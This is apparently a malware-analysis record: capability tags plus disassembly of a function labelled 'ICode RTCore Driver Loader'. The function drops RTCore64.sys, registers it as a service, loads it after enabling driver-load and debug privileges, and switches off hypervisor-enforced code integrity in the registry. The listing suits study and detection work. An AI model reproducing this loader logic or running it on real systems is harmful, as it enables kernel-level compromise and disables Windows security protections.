Function at 0x140001250
Capabilities:
Delete registry key
Link many functions at runtime
Persist via windows service
Set console window title
Set registry value
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xd8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAdjustPrivilegesToken
mov rcx, rbx
mov qword [rbp + 0x7f], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenProcessToken
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenThreadToken
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtDeviceIoControlFile
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWaitForSingleObject
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlCheckTokenMembershipEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140002a60]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlCopyMemory
mov rcx, rbx
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlZeroMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtLoadDriver
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtUnloadDriver
mov rcx, rbx
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x51], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff6
mov qword [rbp - 0x79], rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rdx, [rbp + 0x67]
mov qword [rbp + 0x67], 0x63
mov rcx, rbx
mov qword [rbp - 0x71], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov edx, 5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea rcx, str.ICode_RTCore_Driver_Loader
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xor r8d, r8d
mov byte [rbp + 0x67], 0
xor ecx, ecx
mov dword [rbp - 0x39], 0x201
mov dword [rbp - 0x35], 0x5000000
lea r9, [rbp + 0x67]
mov dword [rbp - 0x31], 0x20
lea rdx, [rbp - 0x39]
mov dword [rbp - 0x2d], 0x220
call rdi
test eax, eax
je 0x14000141f
mov r8d, eax
lea rdx, str.e_31m_Error__e_90misUserAdmin_Error_0x_X_n
lea rcx, [rbp - 0x79]
call fcn.140001000
jmp 0x1400018d4
cmp byte [rbp + 0x67], 0
jne 0x140001431
lea rdx, [0x1400021c0]
jmp 0x1400018cb
mov dword [rbp - 0x69], 1
xor edi, edi
mov dword [rbp - 0x5d], 2
mov qword [rbp - 0x65], 0xa
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x67]
mov edx, 0x28
mov rcx, rax
call r15
mov ebx, eax
test eax, eax
jne 0x14000148e
mov rcx, qword [rbp + 0x67]
lea r8, [rbp - 0x69]
mov qword [rsp + 0x28], rdi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], rdi
call r12
mov rcx, qword [rbp + 0x67]
mov ebx, eax
test eax, eax
je 0x1400014a6
call r14
mov r8d, ebx
lea rdx, str.e_31m_Error__e_90msetPrivilege_SE_LOAD_DRIVER_PRIVILEGE__Error_0x_X_n
lea rcx, [rbp - 0x79]
call fcn.140001000
jmp 0x1400018d4
call r14
mov dword [rbp - 0x69], 1
mov dword [rbp - 0x5d], 2
mov qword [rbp - 0x65], 0x14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x67]
mov edx, 0x28
mov rcx, rax
call r15
mov ebx, eax
test eax, eax
jne 0x140001504
mov rcx, qword [rbp + 0x67]
lea r8, [rbp - 0x69]
mov qword [rsp + 0x28], rdi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], rdi
call r12
mov rcx, qword [rbp + 0x67]
mov ebx, eax
test eax, eax
je 0x14000151c
call r14
mov r8d, ebx
lea rdx, str.e_31m_Error__e_90msetPrivilege_SE_DEBUG_PRIVILEGE__Error_0x_X_n
lea rcx, [rbp - 0x79]
call fcn.140001000
jmp 0x1400018d4
call r14
xor r9d, r9d
mov dword [rbp + 0x77], 8
mov r8d, 8
lea rdx, [rbp + 0x77]
mov ecx, 0x67
call qword [rbp + 0x7f]
test eax, eax
je 0x14000155d
mov r9d, eax
lea rdx, [0x140002290]
mov r8d, 0x2f
lea rcx, [rbp - 0x79]
call fcn.140001000
jmp 0x1400018d4
test dword [rbp + 0x7b], 0x400
jne 0x140001846
lea rax, [0x1400028dc]
mov qword [rbp - 0x69], rax
lea r8, [rbp - 0x69]
lea rax, [0x1400028e8]
mov qword [rbp - 0x61], rax
lea rcx, [rbp - 0x79]
lea rax, [0x140002900]
mov qword [rbp - 0x59], rax
call fcn.140001060
sub eax, 1
je 0x140001637
cmp eax, 1
jne 0x140001937
lea rdx, str._registrymachineSYSTEMCurrentControlSetServicesVRTCore64
lea rcx, [rbp - 0x69]
call r13
lea rcx, [rbp - 0x69]
call qword [rbp - 0x51]
test eax, eax
je 0x1400015f4
lea rcx, [rbp - 0x79]
cmp eax, 0xc0000034
je 0x1400015e8
mov r9d, eax
lea rdx, str.e_31m_Error__e_90m
mov r8d, 0xb3
call fcn.140001000
jmp 0x1400018d4
lea rdx, [0x1400027d8]
jmp 0x1400018cf
lea r8, [rbp + 0x67]
mov rcx, 0xffffffff80000002
lea rdx, str.systemCurrentControlSetServices
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000162b
mov rcx, qword [rbp + 0x67]
lea rdx, str.VRTCore64
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.e_90m
jmp 0x1400018cb
mov qword [rsp + 0x30], rdi
lea rcx, str.C:WindowsVRTCore64.sys
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x2000000
mov dword [rsp + 0x20], 2
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400016ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x14000169f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x6c
lea rdx, [0x1400024d0]
mov r9d, eax
lea rcx, [rbp - 0x79]
call fcn.140001000
jmp 0x1400018d4
lea rdx, [0x140002480]
jmp 0x1400018cb
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov r8d, 0x36c8
lea rdx, section..data
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400016f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140002518]
lea rcx, [rbp - 0x79]
call fcn.140001000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400018d4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x6f]
mov rcx, 0xffffffff80000002
lea rdx, str.systemCurrentControlSetServicesVRTCore64
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x14000173d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x80
lea rdx, [0x1400025c0]
mov r9d, eax
lea rcx, [rbp - 0x79]
call fcn.140001000
jmp 0x1400018d4
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
mov dword [rsp + 0x28], 4
lea rdx, str.Type
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x67], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001782
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140002610]
jmp 0x1400017e8
movups xmm0, xmmword [str.SystemRootVRTCore64.sys]
mov eax, dword [0x140002680]
lea rdx, str.ImagePath
movups xmm1, xmmword [0x140002660]
mov rcx, qword [rbp + 0x6f]
mov r9d, 1
movups xmmword [rbp - 0x39], xmm0
mov dword [rbp - 9], eax
lea rax, [rbp - 0x39]
movups xmm0, xmmword [0x140002670]
mov dword [rsp + 0x28], 0x34
xor r8d, r8d
movups xmmword [rbp - 0x29], xmm1
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x19], xmm0
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001803
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400026a0]
mov r8d, eax
lea rcx, [rbp - 0x79]
call fcn.140001000
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400018d4
lea rdx, str._registrymachineSYSTEMCurrentControlSetServicesVRTCore64
lea rcx, [rbp - 0x69]
call r13
lea rcx, [rbp - 0x69]
call qword [rbp - 0x49]
lea rcx, [rbp - 0x79]
test eax, eax
je 0x14000183a
mov r9d, eax
lea rdx, [0x140002760]
mov r8d, 0xa0
call fcn.140001000
jmp 0x1400018d4
lea rdx, [0x1400027a8]
jmp 0x1400018cf
lea rax, [rbp + 0x6f]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrity
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001879
lea rdx, [0x140002390]
jmp 0x1400018cb
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
mov dword [rsp + 0x28], 4
lea rdx, str.Enabled
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x67], edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x6f]
test eax, eax
je 0x1400018be
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x140002390]
jmp 0x1400018cb
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x140002408]
lea rcx, [rbp - 0x79]
call fcn.140001000
lea rdx, str.e_93m
lea rcx, [rbp - 0x79]
call fcn.140001000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov dword [rbp + 0x67], 1
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
lea r9, [rbp + 0x67]
xor eax, eax
lea rdx, [rbp - 0x69]
mov r8d, 1
mov dword [rbp - 0x59], eax
mov rcx, rsi
movups xmmword [rbp - 0x69], xmm0
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
cmp word [rbp - 0x69], 1
jne 0x140001900
cmp dword [rbp - 0x65], 0
jne 0x140001900
cmp word [rbp - 0x5f], 0xd
jne 0x1400018e4
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor eax, eax
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret